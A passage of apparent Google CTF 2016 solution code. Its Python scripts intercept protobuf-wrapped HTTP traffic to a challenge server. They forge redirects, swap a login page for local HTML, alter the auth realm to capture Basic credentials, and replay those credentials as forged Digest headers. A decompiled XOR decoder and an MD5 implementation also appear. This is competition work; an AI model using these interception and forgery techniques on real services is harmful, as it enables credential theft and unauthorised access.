-------------------------------------------------------------------------------- /GoogleCTF2016/exchange3.py: -------------------------------------------------------------------------------- 1 | import exchange_pb2 2 | import time 3 | import connection 4 | import hashlib 5 | 6 | def l32(i): 7 | ret = '' 8 | ret += chr((i>>0)&0xFF) 9 | ret += chr((i>>8)&0xFF) 10 | ret += chr((i>>16)&0xFF) 11 | ret += chr((i>>24)&0xFF) 12 | return ret 13 | 14 | def unl32(s): 15 | assert len(s) == 4 16 | ret = 0 17 | ret += ord(s[0]) 18 | ret += ord(s[1]) << 8 19 | ret += ord(s[2]) << 16 20 | ret += ord(s[3]) << 24 21 | return ret 22 | 23 | def recv_protobuf(conn): 24 | length = unl32(conn.recvn(4)) 25 | return exchange_pb2.Exchange.FromString(conn.recvn(length)) 26 | 27 | def send_protobuf(conn, protobuf): 28 | data = protobuf.SerializeToString() 29 | length = l32(len(data)) 30 | conn.send(length+data) 31 | 32 | def thru_protobuf(conn, isPrinted=True): 33 | ex = recv_protobuf(conn) 34 | if isPrinted: print ex 35 | send_protobuf(conn, ex) 36 | 37 | proxy = None 38 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 13001), proxy, True) 39 | 40 | ex = recv_protobuf(conn) 41 | fake_reply_ex = exchange_pb2.Exchange() 42 | fake_reply_ex.reply.status = 302 43 | header = fake_reply_ex.reply.headers.add() 44 | header.key = 'Location' 45 | header.value = '/protected/secret' 46 | send_protobuf(conn, fake_reply_ex) 47 | 48 | thru_protobuf(conn, True) 49 | thru_protobuf(conn, True) 50 | thru_protobuf(conn, True) 51 | thru_protobuf(conn, True) -------------------------------------------------------------------------------- /GoogleCTF2016/exchange4.py: -------------------------------------------------------------------------------- 1 | import exchange_pb2 2 | import time 3 | import connection 4 | import hashlib 5 | 6 | def l32(i): 7 | ret = '' 8 | ret += chr((i>>0)&0xFF) 9 | ret += chr((i>>8)&0xFF) 10 | ret += chr((i>>16)&0xFF) 11 | ret += chr((i>>24)&0xFF) 12 | return ret 13 | 14 | def unl32(s): 15 | assert len(s) == 4 16 | ret = 0 17 | ret += ord(s[0]) 18 | ret += ord(s[1]) << 8 19 | ret += ord(s[2]) << 16 20 | ret += ord(s[3]) << 24 21 | return ret 22 | 23 | def recv_protobuf(conn): 24 | length = unl32(conn.recvn(4)) 25 | return exchange_pb2.Exchange.FromString(conn.recvn(length)) 26 | 27 | def send_protobuf(conn, protobuf): 28 | data = protobuf.SerializeToString() 29 | length = l32(len(data)) 30 | conn.send(length+data) 31 | 32 | def thru_protobuf(conn, isPrinted=True): 33 | ex = recv_protobuf(conn) 34 | if isPrinted: print ex 35 | send_protobuf(conn, ex) 36 | 37 | proxy = None 38 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 19121), proxy, True) 39 | 40 | thru_protobuf(conn, True) 41 | reply_ex = recv_protobuf(conn) 42 | #reply_ex.reply.body = reply_ex.reply.body.replace('https://elided/user/sign_in', 'http://elided/user/sign_in') 43 | reply_ex.reply.body = open('1.html','rb').read() 44 | send_protobuf(conn, reply_ex) 45 | 46 | thru_protobuf(conn, True) 47 | thru_protobuf(conn, True) -------------------------------------------------------------------------------- /GoogleCTF2016/exchange5.py: -------------------------------------------------------------------------------- 1 | import exchange_pb2 2 | import time 3 | import connection 4 | import hashlib 5 | 6 | def l32(i): 7 | ret = '' 8 | ret += chr((i>>0)&0xFF) 9 | ret += chr((i>>8)&0xFF) 10 | ret += chr((i>>16)&0xFF) 11 | ret += chr((i>>24)&0xFF) 12 | return ret 13 | 14 | def unl32(s): 15 | assert len(s) == 4 16 | ret = 0 17 | ret += ord(s[0]) 18 | ret += ord(s[1]) << 8 19 | ret += ord(s[2]) << 16 20 | ret += ord(s[3]) << 24 21 | return ret 22 | 23 | def recv_protobuf(conn): 24 | length = unl32(conn.recvn(4)) 25 | return exchange_pb2.Exchange.FromString(conn.recvn(length)) 26 | 27 | def send_protobuf(conn, protobuf): 28 | data = protobuf.SerializeToString() 29 | length = l32(len(data)) 30 | conn.send(length+data) 31 | 32 | 33 | proxy = None 34 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 12001), proxy, True) 35 | 36 | ex = recv_protobuf(conn) 37 | send_protobuf(conn, ex) 38 | 39 | ex = recv_protobuf(conn) 40 | ex.reply.headers[1].value = 'Basic realm="In the realm of hackers"' 41 | send_protobuf(conn, ex) 42 | 43 | ex = recv_protobuf(conn) 44 | cred = ex.request.headers[0].value.replace('Basic ', '').decode('base64').split(':') 45 | ex.request.uri = '/protected/token' 46 | send_protobuf(conn, ex) 47 | 48 | def calcPass(user, realm, password, method, uri, nonce, nonceCount, cnonce): 49 | ha1 = hashlib.md5(user+':'+realm+':'+password).hexdigest() 50 | ha2 = hashlib.md5(method+':'+uri).hexdigest() 51 | return hashlib.md5(ha1+':'+nonce+':'+nonceCount+':'+cnonce+':auth:'+ha2).hexdigest() 52 | 53 | assert calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/dir/index.html", "dcd98b7102dd2f0e8b11d0f600bfb0c093", "00000001", "0a4f113b") == "6629fae49393a05397450978507c4ef1" 54 | 55 | reply_ex = recv_protobuf(conn) 56 | print reply_ex 57 | auth = reply_ex.reply.headers[1].value 58 | 59 | opaque = auth[auth.find('opaque="')+8:] 60 | opaque = opaque[:opaque.find('"')] 61 | nonce = auth[auth.find('nonce="')+7:] 62 | nonce = nonce[:nonce.find('"')] 63 | nc = "00000002"*9 64 | cnonce = "0a4f113b"*9 65 | response = calcPass(cred[0], 'In the realm of hackers', cred[1], 'GET', ex.request.uri, nonce, nc, cnonce) 66 | 67 | ex.request.headers[0].value = 'Digest username="%s",realm="%s",nonce="%s",uri="%s",qop=auth,nc=%s,cnonce="%s",response="%s",opaque="%s"' % (cred[0], 'In the realm of hackers', nonce, ex.request.uri, nc, cnonce, response, opaque) 68 | send_protobuf(conn, ex) 69 | 70 | print recv_protobuf(conn) -------------------------------------------------------------------------------- /GoogleCTF2016/exchange_pb2.py: -------------------------------------------------------------------------------- 1 | # Generated by the protocol buffer compiler. DO NOT EDIT! 2 | # source: exchange.proto 3 | 4 | import sys 5 | _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) 6 | from google.protobuf import descriptor as _descriptor 7 | from google.protobuf import message as _message 8 | from google.protobuf import reflection as _reflection 9 | from google.protobuf import symbol_database as _symbol_database 10 | from google.protobuf import descriptor_pb2 11 | # @@protoc_insertion_point(imports) 12 | 13 | _sym_db = _symbol_database.Default() 14 | 15 | 16 | 17 | 18 | DESCRIPTOR = _descriptor.FileDescriptor( 19 | name='exchange.proto', 20 | package='main', 21 | serialized_pb=_b('\n\x0e\x65xchange.proto\x12\x04main\"\xec\x02\n\x08\x45xchange\x12)\n\x07request\x18\x01 \x01(\x0b\x32\x16.main.Exchange.RequestH\x00\x12%\n\x05reply\x18\x02 \x01(\x0b\x32\x14.main.Exchange.ReplyH\x00\x1a$\n\x06Header\x12\x0b\n\x03key\x18\x01 \x02(\t\x12\r\n\x05value\x18\x02 \x02(\t\x1ar\n\x07Request\x12$\n\x03ver\x18\x01 \x02(\x0e\x32\x17.main.Exchange.VerbType\x12\x0b\n\x03uri\x18\x02 \x02(\t\x12&\n\x07headers\x18\x03 \x03(\x0b\x32\x15.main.Exchange.Header\x12\x0c\n\x04\x62ody\x18\x04 \x01(\x0c\x1aM\n\x05Reply\x12\x0e\n\x06status\x18\x01 \x02(\x05\x12&\n\x07headers\x18\x02 \x03(\x0b\x32\x15.main.Exchange.Header\x12\x0c\n\x04\x62ody\x18\x03 \x01(\x0c\"\x1d\n\x08VerbType\x12\x07\n\x03GET\x10\x00\x12\x08\n\x04POST\x10\x01\x42\x06\n\x04type') 22 | ) 23 | _sym_db.RegisterFileDescriptor(DESCRIPTOR) 24 | 25 | 26 | 27 | _EXCHANGE_VERBTYPE = _descriptor.EnumDescriptor( 28 | name='VerbType', 29 | full_name='main.Exchange.VerbType', 30 | filename=None, 31 | file=DESCRIPTOR, 32 | values=[ 33 | _descriptor.EnumValueDescriptor( 34 | name='GET', index=0, number=0, 35 | options=None, 36 | type=None), 37 | _descriptor.EnumValueDescriptor( 38 | name='POST', index=1, number=1, 39 | options=None, 40 | type=None), 41 | ], 42 | containing_type=None, 43 | options=None, 44 | serialized_start=352, 45 | serialized_end=381, 46 | ) 47 | _sym_db.RegisterEnumDescriptor(_EXCHANGE_VERBTYPE) 48 | 49 | 50 | _EXCHANGE_HEADER = _descriptor.Descriptor( 51 | name='Header', 52 | full_name='main.Exchange.Header', 53 | filename=None, 54 | file=DESCRIPTOR, 55 | containing_type=None, 56 | fields=[ 57 | _descriptor.FieldDescriptor( 58 | name='key', full_name='main.Exchange.Header.key', index=0, 59 | number=1, type=9, cpp_type=9, label=2, 60 | has_default_value=False, default_value=_b("").decode('utf-8'), 61 | message_type=None, enum_type=None, containing_type=None, 62 | is_extension=False, extension_scope=None, 63 | options=None), 64 | _descriptor.FieldDescriptor( 65 | name='value', full_name='main.Exchange.Header.value', index=1, 66 | number=2, type=9, cpp_type=9, label=2, 67 | has_default_value=False, default_value=_b("").decode('utf-8'), 68 | message_type=None, enum_type=None, containing_type=None, 69 | is_extension=False, extension_scope=None, 70 | options=None), 71 | ], 72 | extensions=[ 73 | ], 74 | nested_types=[], 75 | enum_types=[ 76 | ], 77 | options=None, 78 | is_extendable=False, 79 | extension_ranges=[], 80 | oneofs=[ 81 | ], 82 | serialized_start=119, 83 | serialized_end=155, 84 | ) 85 | 86 | _EXCHANGE_REQUEST = _descriptor.Descriptor( 87 | name='Request', 88 | full_name='main.Exchange.Request', 89 | filename=None, 90 | file=DESCRIPTOR, 91 | containing_type=None, 92 | fields=[ 93 | _descriptor.FieldDescriptor( 94 | name='ver', full_name='main.Exchange.Request.ver', index=0, 95 | number=1, type=14, cpp_type=8, label=2, 96 | has_default_value=False, default_value=0, 97 | message_type=None, enum_type=None, containing_type=None, 98 | is_extension=False, extension_scope=None, 99 | options=None), 100 | _descriptor.FieldDescriptor( 101 | name='uri', full_name='main.Exchange.Request.uri', index=1, 102 | number=2, type=9, cpp_type=9, label=2, 103 | has_default_value=False, default_value=_b("").decode('utf-8'), 104 | message_type=None, enum_type=None, containing_type=None, 105 | is_extension=False, extension_scope=None, 106 | options=None), 107 | _descriptor.FieldDescriptor( 108 | name='headers', full_name='main.Exchange.Request.headers', index=2, 109 | number=3, type=11, cpp_type=10, label=3, 110 | has_default_value=False, default_value=[], 111 | message_type=None, enum_type=None, containing_type=None, 112 | is_extension=False, extension_scope=None, 113 | options=None), 114 | _descriptor.FieldDescriptor( 115 | name='body', full_name='main.Exchange.Request.body', index=3, 116 | number=4, type=12, cpp_type=9, label=1, 117 | has_default_value=False, default_value=_b(""), 118 | message_type=None, enum_type=None, containing_type=None, 119 | is_extension=False, extension_scope=None, 120 | options=None), 121 | ], 122 | extensions=[ 123 | ], 124 | nested_types=[], 125 | enum_types=[ 126 | ], 127 | options=None, 128 | is_extendable=False, 129 | extension_ranges=[], 130 | oneofs=[ 131 | ], 132 | serialized_start=157, 133 | serialized_end=271, 134 | ) 135 | 136 | _EXCHANGE_REPLY = _descriptor.Descriptor( 137 | name='Reply', 138 | full_name='main.Exchange.Reply', 139 | filename=None, 140 | file=DESCRIPTOR, 141 | containing_type=None, 142 | fields=[ 143 | _descriptor.FieldDescriptor( 144 | name='status', full_name='main.Exchange.Reply.status', index=0, 145 | number=1, type=5, cpp_type=1, label=2, 146 | has_default_value=False, default_value=0, 147 | message_type=None, enum_type=None, containing_type=None, 148 | is_extension=False, extension_scope=None, 149 | options=None), 150 | _descriptor.FieldDescriptor( 151 | name='headers', full_name='main.Exchange.Reply.headers', index=1, 152 | number=2, type=11, cpp_type=10, label=3, 153 | has_default_value=False, default_value=[], 154 | message_type=None, enum_type=None, containing_type=None, 155 | is_extension=False, extension_scope=None, 156 | options=None), 157 | _descriptor.FieldDescriptor( 158 | name='body', full_name='main.Exchange.Reply.body', index=2, 159 | number=3, type=12, cpp_type=9, label=1, 160 | has_default_value=False, default_value=_b(""), 161 | message_type=None, enum_type=None, containing_type=None, 162 | is_extension=False, extension_scope=None, 163 | options=None), 164 | ], 165 | extensions=[ 166 | ], 167 | nested_types=[], 168 | enum_types=[ 169 | ], 170 | options=None, 171 | is_extendable=False, 172 | extension_ranges=[], 173 | oneofs=[ 174 | ], 175 | serialized_start=273, 176 | serialized_end=350, 177 | ) 178 | 179 | _EXCHANGE = _descriptor.Descriptor( 180 | name='Exchange', 181 | full_name='main.Exchange', 182 | filename=None, 183 | file=DESCRIPTOR, 184 | containing_type=None, 185 | fields=[ 186 | _descriptor.FieldDescriptor( 187 | name='request', full_name='main.Exchange.request', index=0, 188 | number=1, type=11, cpp_type=10, label=1, 189 | has_default_value=False, default_value=None, 190 | message_type=None, enum_type=None, containing_type=None, 191 | is_extension=False, extension_scope=None, 192 | options=None), 193 | _descriptor.FieldDescriptor( 194 | name='reply', full_name='main.Exchange.reply', index=1, 195 | number=2, type=11, cpp_type=10, label=1, 196 | has_default_value=False, default_value=None, 197 | message_type=None, enum_type=None, containing_type=None, 198 | is_extension=False, extension_scope=None, 199 | options=None), 200 | ], 201 | extensions=[ 202 | ], 203 | nested_types=[_EXCHANGE_HEADER, _EXCHANGE_REQUEST, _EXCHANGE_REPLY, ], 204 | enum_types=[ 205 | _EXCHANGE_VERBTYPE, 206 | ], 207 | options=None, 208 | is_extendable=False, 209 | extension_ranges=[], 210 | oneofs=[ 211 | _descriptor.OneofDescriptor( 212 | name='type', full_name='main.Exchange.type', 213 | index=0, containing_type=None, fields=[]), 214 | ], 215 | serialized_start=25, 216 | serialized_end=389, 217 | ) 218 | 219 | _EXCHANGE_HEADER.containing_type = _EXCHANGE 220 | _EXCHANGE_REQUEST.fields_by_name['ver'].enum_type = _EXCHANGE_VERBTYPE 221 | _EXCHANGE_REQUEST.fields_by_name['headers'].message_type = _EXCHANGE_HEADER 222 | _EXCHANGE_REQUEST.containing_type = _EXCHANGE 223 | _EXCHANGE_REPLY.fields_by_name['headers'].message_type = _EXCHANGE_HEADER 224 | _EXCHANGE_REPLY.containing_type = _EXCHANGE 225 | _EXCHANGE.fields_by_name['request'].message_type = _EXCHANGE_REQUEST 226 | _EXCHANGE.fields_by_name['reply'].message_type = _EXCHANGE_REPLY 227 | _EXCHANGE_VERBTYPE.containing_type = _EXCHANGE 228 | _EXCHANGE.oneofs_by_name['type'].fields.append( 229 | _EXCHANGE.fields_by_name['request']) 230 | _EXCHANGE.fields_by_name['request'].containing_oneof = _EXCHANGE.oneofs_by_name['type'] 231 | _EXCHANGE.oneofs_by_name['type'].fields.append( 232 | _EXCHANGE.fields_by_name['reply']) 233 | _EXCHANGE.fields_by_name['reply'].containing_oneof = _EXCHANGE.oneofs_by_name['type'] 234 | DESCRIPTOR.message_types_by_name['Exchange'] = _EXCHANGE 235 | 236 | Exchange = _reflection.GeneratedProtocolMessageType('Exchange', (_message.Message,), dict( 237 | 238 | Header = _reflection.GeneratedProtocolMessageType('Header', (_message.Message,), dict( 239 | DESCRIPTOR = _EXCHANGE_HEADER, 240 | __module__ = 'exchange_pb2' 241 | # @@protoc_insertion_point(class_scope:main.Exchange.Header) 242 | )) 243 | , 244 | 245 | Request = _reflection.GeneratedProtocolMessageType('Request', (_message.Message,), dict( 246 | DESCRIPTOR = _EXCHANGE_REQUEST, 247 | __module__ = 'exchange_pb2' 248 | # @@protoc_insertion_point(class_scope:main.Exchange.Request) 249 | )) 250 | , 251 | 252 | Reply = _reflection.GeneratedProtocolMessageType('Reply', (_message.Message,), dict( 253 | DESCRIPTOR = _EXCHANGE_REPLY, 254 | __module__ = 'exchange_pb2' 255 | # @@protoc_insertion_point(class_scope:main.Exchange.Reply) 256 | )) 257 | , 258 | DESCRIPTOR = _EXCHANGE, 259 | __module__ = 'exchange_pb2' 260 | # @@protoc_insertion_point(class_scope:main.Exchange) 261 | )) 262 | _sym_db.RegisterMessage(Exchange) 263 | _sym_db.RegisterMessage(Exchange.Header) 264 | _sym_db.RegisterMessage(Exchange.Request) 265 | _sym_db.RegisterMessage(Exchange.Reply) 266 | 267 | 268 | # @@protoc_insertion_point(module_scope) 269 | -------------------------------------------------------------------------------- /GoogleCTF2016/illIllusion.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace cv; 4 | 5 | #define _WORD unsigned short 6 | #define _DWORD unsigned int 7 | 8 | char byte_A20[]={0x4A,0x49,0x59,0x6C,0x45,0x4C,0x7F,0x5B,0x78,0x6A,0x60,0x7A,0x75,0x78,0x60,0x6E,0x7F,0x4F,0x76,0x7F,0x7A,0x66,0x4F,0x41,0x52,0x6B,0x69,0x50,0x6B,0x59,0x6D,0x62,0x46,0x66,0x74,0x4B,0x71,0x75,0x73,0x66,0x6E,0x7D,0x66,0x6C,0x68,0x51,0x66,0x73,0x71,0x78,0x72,0x5C,0x54,0x65,0x61,0x53,0x67,0x6E,0x6D,0x64,0x63,0x21,0x0}; 9 | 10 | int main(int argc, char *argv[]) 11 | { 12 | 13 | char v5[100] = "TRytfrgooq|F{i-JovFBungFk\\VlphgQbwvj~HuDgaeTzuSt.@Lex^~\x00"; // ebp@1 14 | const char *v7="ZGFkNGIwYzIWYjEzMTUWNjVjNTVlNjZhOGJkNhYtODIyOGEaMTMWNmQaOTVjZjkhMzRjYmUzZGE?"; // [sp+14h] [bp-168h]@1 15 | const char *v8="MzQxZTZmZjAxMmIiMWUzNjUxMmRiYjIxNDUwYTUxMWItZGQzNWUtMzkyOWYyMmQeYjZmMzEaNDQ?"; // [sp+18h] [bp-164h]@1 16 | 17 | int v6; // ebp@1 18 | size_t v9; // eax@1 19 | int v10; // edi@1 20 | char v11; // al@2 21 | int result; // eax@3 22 | char v13[76]; // [sp+28h] [bp-154h]@1 23 | char v14; // [sp+74h] [bp-108h]@1 24 | char v15[76]; // [sp+75h] [bp-107h]@1 25 | char v16; // [sp+C1h] [bp-BBh]@1 26 | char dest[76]; // [sp+C2h] [bp-BAh]@1 27 | char v18; // [sp+10Eh] [bp-6Eh]@1 28 | char v19[76]; // [sp+10Fh] [bp-6Dh]@2 29 | char v20; // [sp+15Bh] [bp-21h]@3 30 | int v21; // [sp+15Ch] [bp-20h]@1 31 | 32 | v9 = (size_t)&v5[strlen(v5)]; 33 | *(_DWORD *)v9 = 'Gwnw'; 34 | *(_DWORD *)(v9 + 4) = '{bar'; 35 | *(_DWORD *)(v9 + 8) = 'btuO'; 36 | *(_DWORD *)(v9 + 12) = 'Crh'; 37 | *(_DWORD *)(v9 + 16) = 'mqft'; 38 | *(_WORD *)(v9 + 20) = 125; 39 | strncpy(dest, v5, 0x4Cu); 40 | strncpy(v13, v7, 0x4Cu); 41 | strncpy(v15, v8, 0x4Cu); 42 | v18 = 0; 43 | v16 = 0; 44 | v10 = 0; 45 | v14 = 0; 46 | do 47 | { 48 | v11 = dest[v10] ^ v13[v10] ^ v15[v10]; 49 | v19[v10++] = v11; 50 | printf("%c", v11); 51 | } 52 | while ( v10 != 76 ); 53 | //printf("Here is your Reply: %s", v25); 54 | 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /GoogleCTF2016/pymd5.py: -------------------------------------------------------------------------------- 1 | """ 2 | /* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm 3 | */ 4 | 5 | /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All 6 | rights reserved. 7 | 8 | License to copy and use this software is granted provided that it 9 | is identified as the "RSA Data Security, Inc. MD5 Message-Digest 10 | Algorithm" in all material mentioning or referencing this software 11 | or this function. 12 | 13 | License is also granted to make and use derivative works provided 14 | that such works are identified as "derived from the RSA Data 15 | Security, Inc. MD5 Message-Digest Algorithm" in all material 16 | mentioning or referencing the derived work. 17 | 18 | RSA Data Security, Inc. makes no representations concerning either 19 | the merchantability of this software or the suitability of this 20 | software for any particular purpose. It is provided "as is" 21 | without express or implied warranty of any kind. 22 | 23 | These notices must be retained in any copies of any part of this 24 | documentation and/or software. 25 | */ 26 | """ 27 | 28 | #/* Constants for MD5Transform routine. 29 | 30 | S11 = 7 31 | S12 = 12 32 | S13 = 17 33 | S14 = 22 34 | S21 = 5 35 | S22 = 9 36 | S23 = 14 37 | S24 = 20 38 | S31 = 4 39 | S32 = 11 40 | S33 = 16 41 | S34 = 23 42 | S41 = 6 43 | S42 = 10 44 | S43 = 15 45 | S44 = 21 46 | 47 | PADDING = "\x80" + 63*"\0" # do not overlook first byte again :-) 48 | 49 | #/* F, G, H and I are basic MD5 functions. 50 | def F(x, y, z): return (((x) & (y)) | ((~x) & (z))) 51 | 52 | def G(x, y, z): return (((x) & (z)) | ((y) & (~z))) 53 | 54 | def H(x, y, z): return ((x) ^ (y) ^ (z)) 55 | 56 | def I(x, y, z): return((y) ^ ((x) | (~z))) 57 | 58 | #/* ROTATE_LEFT rotates x left n bits. 59 | 60 | def ROTATE_LEFT(x, n): 61 | x = x & 0xffffffffL # make shift unsigned 62 | return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffffL 63 | 64 | #/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4. 65 | #Rotation is separate from addition to prevent recomputation. 66 | 67 | def FF(a, b, c, d, x, s, ac): 68 | a = a + F ((b), (c), (d)) + (x) + (ac) 69 | a = ROTATE_LEFT ((a), (s)) 70 | a = a + b 71 | return a # must assign this to a 72 | 73 | def GG(a, b, c, d, x, s, ac): 74 | a = a + G ((b), (c), (d)) + (x) + (ac) 75 | a = ROTATE_LEFT ((a), (s)) 76 | a = a + b 77 | return a # must assign this to a 78 | 79 | def HH(a, b, c, d, x, s, ac): 80 | a = a + H ((b), (c), (d)) + (x) + (ac) 81 | a = ROTATE_LEFT ((a), (s)) 82 | a = a + b 83 | return a # must assign this to a 84 | 85 | def II(a, b, c, d, x, s, ac): 86 | a = a + I ((b), (c), (d)) + (x) + (ac) 87 | a = ROTATE_LEFT ((a), (s)) 88 | a = a + b 89 | return a # must assign this to a 90 | 91 | 92 | class md5: 93 | def __init__(self, initial=None): 94 | self.count = 0L 95 | self.state = (0x67452301L, 96 | 0xefcdab89L, 97 | 0x98badcfeL, 98 | 0x10325476L,) 99 | self.buffer = b"" 100 | if initial: 101 | self.update(initial) 102 | 103 | ##/* MD5 block update operation. Continues an MD5 message-digest 104 | ## operation, processing another message block, and updating the 105 | ## context. 106 | ## */ 107 | 108 | ## /* Compute number of bytes mod 64 */ 109 | def update(self, input): 110 | inputLen = len(input) 111 | ## index = (unsigned int)((context->count[0] >> 3) & 0x3F); 112 | index = int(self.count >> 3) & 0x3F 113 | 114 | ## /* Update number of bits */ 115 | self.count = self.count + (inputLen << 3) 116 | 117 | ## partLen = 64 - index; 118 | partLen = 64 - index 119 | 120 | ## /* Transform as many times as possible. 121 | if inputLen >= partLen: 122 | self.buffer = self.buffer[:index] + input[:partLen] 123 | 124 | self.transform(self.buffer) 125 | i = partLen 126 | while i + 63 < inputLen: 127 | self.transform(input[i:i+64]) 128 | i = i + 64 129 | index = 0 130 | else: 131 | i = 0 132 | ## /* Buffer remaining input */ 133 | self.buffer = self.buffer[:index] + input[i:inputLen] 134 | 135 | 136 | ##/* MD5 finalization. Ends an MD5 message-digest operation, writing the 137 | ## the message digest and zeroizing the context. 138 | ## */ 139 | 140 | def final(self, needPadding=True): 141 | 142 | ## /* Save number of bits */ 143 | bits = Encode((self.count & 0xffffffffL, self.count>>32), 8) 144 | 145 | ## /* Pad out to 56 mod 64. 146 | 147 | index = int((self.count >> 3) & 0x3f) 148 | if index < 56: 149 | padLen = (56 - index) 150 | else: 151 | padLen = (120 - index) 152 | if needPadding: self.update(PADDING[:padLen]) 153 | 154 | ## /* Append length (before padding) */ 155 | if needPadding: self.update(bits) 156 | 157 | ## /* Store state in digest */ 158 | digest = Encode(self.state, 16) 159 | 160 | ## /* Zeroize sensitive information. 161 | 162 | self.__dict__.clear() 163 | 164 | return digest 165 | 166 | digest = final # alias 167 | 168 | ##/* MD5 basic transformation. Transforms state based on block. 169 | ## */ 170 | 171 | def transform(self, block): 172 | a, b, c, d = state = self.state 173 | 174 | x = Decode(block, 64) 175 | 176 | ## /* Round 1 */ 177 | a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478)#; /* 1 */ 178 | d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756)#; /* 2 */ 179 | c = FF (c, d, a, b, x[ 2], S13, 0x242070db)#; /* 3 */ 180 | b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee)#; /* 4 */ 181 | a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf)#; /* 5 */ 182 | d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a)#; /* 6 */ 183 | c = FF (c, d, a, b, x[ 6], S13, 0xa8304613)#; /* 7 */ 184 | b = FF (b, c, d, a, x[ 7], S14, 0xfd469501)#; /* 8 */ 185 | a = FF (a, b, c, d, x[ 8], S11, 0x698098d8)#; /* 9 */ 186 | d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af)#; /* 10 */ 187 | c = FF (c, d, a, b, x[10], S13, 0xffff5bb1)#; /* 11 */ 188 | b = FF (b, c, d, a, x[11], S14, 0x895cd7be)#; /* 12 */ 189 | a = FF (a, b, c, d, x[12], S11, 0x6b901122)#; /* 13 */ 190 | d = FF (d, a, b, c, x[13], S12, 0xfd987193)#; /* 14 */ 191 | c = FF (c, d, a, b, x[14], S13, 0xa679438e)#; /* 15 */ 192 | b = FF (b, c, d, a, x[15], S14, 0x49b40821)#; /* 16 */ 193 | 194 | ## /* Round 2 */ 195 | a = GG (a, b, c, d, x[ 1], S21, 0xf61e2562)#; /* 17 */ 196 | d = GG (d, a, b, c, x[ 6], S22, 0xc040b340)#; /* 18 */ 197 | c = GG (c, d, a, b, x[11], S23, 0x265e5a51)#; /* 19 */ 198 | b = GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa)#; /* 20 */ 199 | a = GG (a, b, c, d, x[ 5], S21, 0xd62f105d)#; /* 21 */ 200 | d = GG (d, a, b, c, x[10], S22, 0x2441453)#; /* 22 */ 201 | c = GG (c, d, a, b, x[15], S23, 0xd8a1e681)#; /* 23 */ 202 | b = GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8)#; /* 24 */ 203 | a = GG (a, b, c, d, x[ 9], S21, 0x21e1cde6)#; /* 25 */ 204 | d = GG (d, a, b, c, x[14], S22, 0xc33707d6)#; /* 26 */ 205 | c = GG (c, d, a, b, x[ 3], S23, 0xf4d50d87)#; /* 27 */ 206 | b = GG (b, c, d, a, x[ 8], S24, 0x455a14ed)#; /* 28 */ 207 | a = GG (a, b, c, d, x[13], S21, 0xa9e3e905)#; /* 29 */ 208 | d = GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8)#; /* 30 */ 209 | c = GG (c, d, a, b, x[ 7], S23, 0x676f02d9)#; /* 31 */ 210 | b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8a)#; /* 32 */ 211 | 212 | ## /* Round 3 */ 213 | a = HH (a, b, c, d, x[ 5], S31, 0xfffa3942)#; /* 33 */ 214 | d = HH (d, a, b, c, x[ 8], S32, 0x8771f681)#; /* 34 */ 215 | c = HH (c, d, a, b, x[11], S33, 0x6d9d6122)#; /* 35 */ 216 | b = HH (b, c, d, a, x[14], S34, 0xfde5380c)#; /* 36 */ 217 | a = HH (a, b, c, d, x[ 1], S31, 0xa4beea44)#; /* 37 */ 218 | d = HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9)#; /* 38 */ 219 | c = HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60)#; /* 39 */ 220 | b = HH (b, c, d, a, x[10], S34, 0xbebfbc70)#; /* 40 */ 221 | a = HH (a, b, c, d, x[13], S31, 0x289b7ec6)#; /* 41 */ 222 | d = HH (d, a, b, c, x[ 0], S32, 0xeaa127fa)#; /* 42 */ 223 | c = HH (c, d, a, b, x[ 3], S33, 0xd4ef3085)#; /* 43 */ 224 | b = HH (b, c, d, a, x[ 6], S34, 0x4881d05)#; /* 44 */ 225 | a = HH (a, b, c, d, x[ 9], S31, 0xd9d4d039)#; /* 45 */ 226 | d = HH (d, a, b, c, x[12], S32, 0xe6db99e5)#; /* 46 */ 227 | c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8)#; /* 47 */ 228 | b = HH (b, c, d, a, x[ 2], S34, 0xc4ac5665)#; /* 48 */ 229 | 230 | ## /* Round 4 */ 231 | a = II (a, b, c, d, x[ 0], S41, 0xf4292244)#; /* 49 */ 232 | d = II (d, a, b, c, x[ 7], S42, 0x432aff97)#; /* 50 */ 233 | c = II (c, d, a, b, x[14], S43, 0xab9423a7)#; /* 51 */ 234 | b = II (b, c, d, a, x[ 5], S44, 0xfc93a039)#; /* 52 */ 235 | a = II (a, b, c, d, x[12], S41, 0x655b59c3)#; /* 53 */ 236 | d = II (d, a, b, c, x[ 3], S42, 0x8f0ccc92)#; /* 54 */ 237 | c = II (c, d, a, b, x[10], S43, 0xffeff47d)#; /* 55 */ 238 | b = II (b, c, d, a, x[ 1], S44, 0x85845dd1)#; /* 56 */ 239 | a = II (a, b, c, d, x[ 8], S41, 0x6fa87e4f)#; /* 57 */ 240 | d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0)#; /* 58 */ 241 | c = II (c, d, a, b, x[ 6], S43, 0xa3014314)#; /* 59 */ 242 | b = II (b, c, d, a, x[13], S44, 0x4e0811a1)#; /* 60 */ 243 | a = II (a, b, c, d, x[ 4], S41, 0xf7537e82)#; /* 61 */ 244 | d = II (d, a, b, c, x[11], S42, 0xbd3af235)#; /* 62 */ 245 | c = II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb)#; /* 63 */ 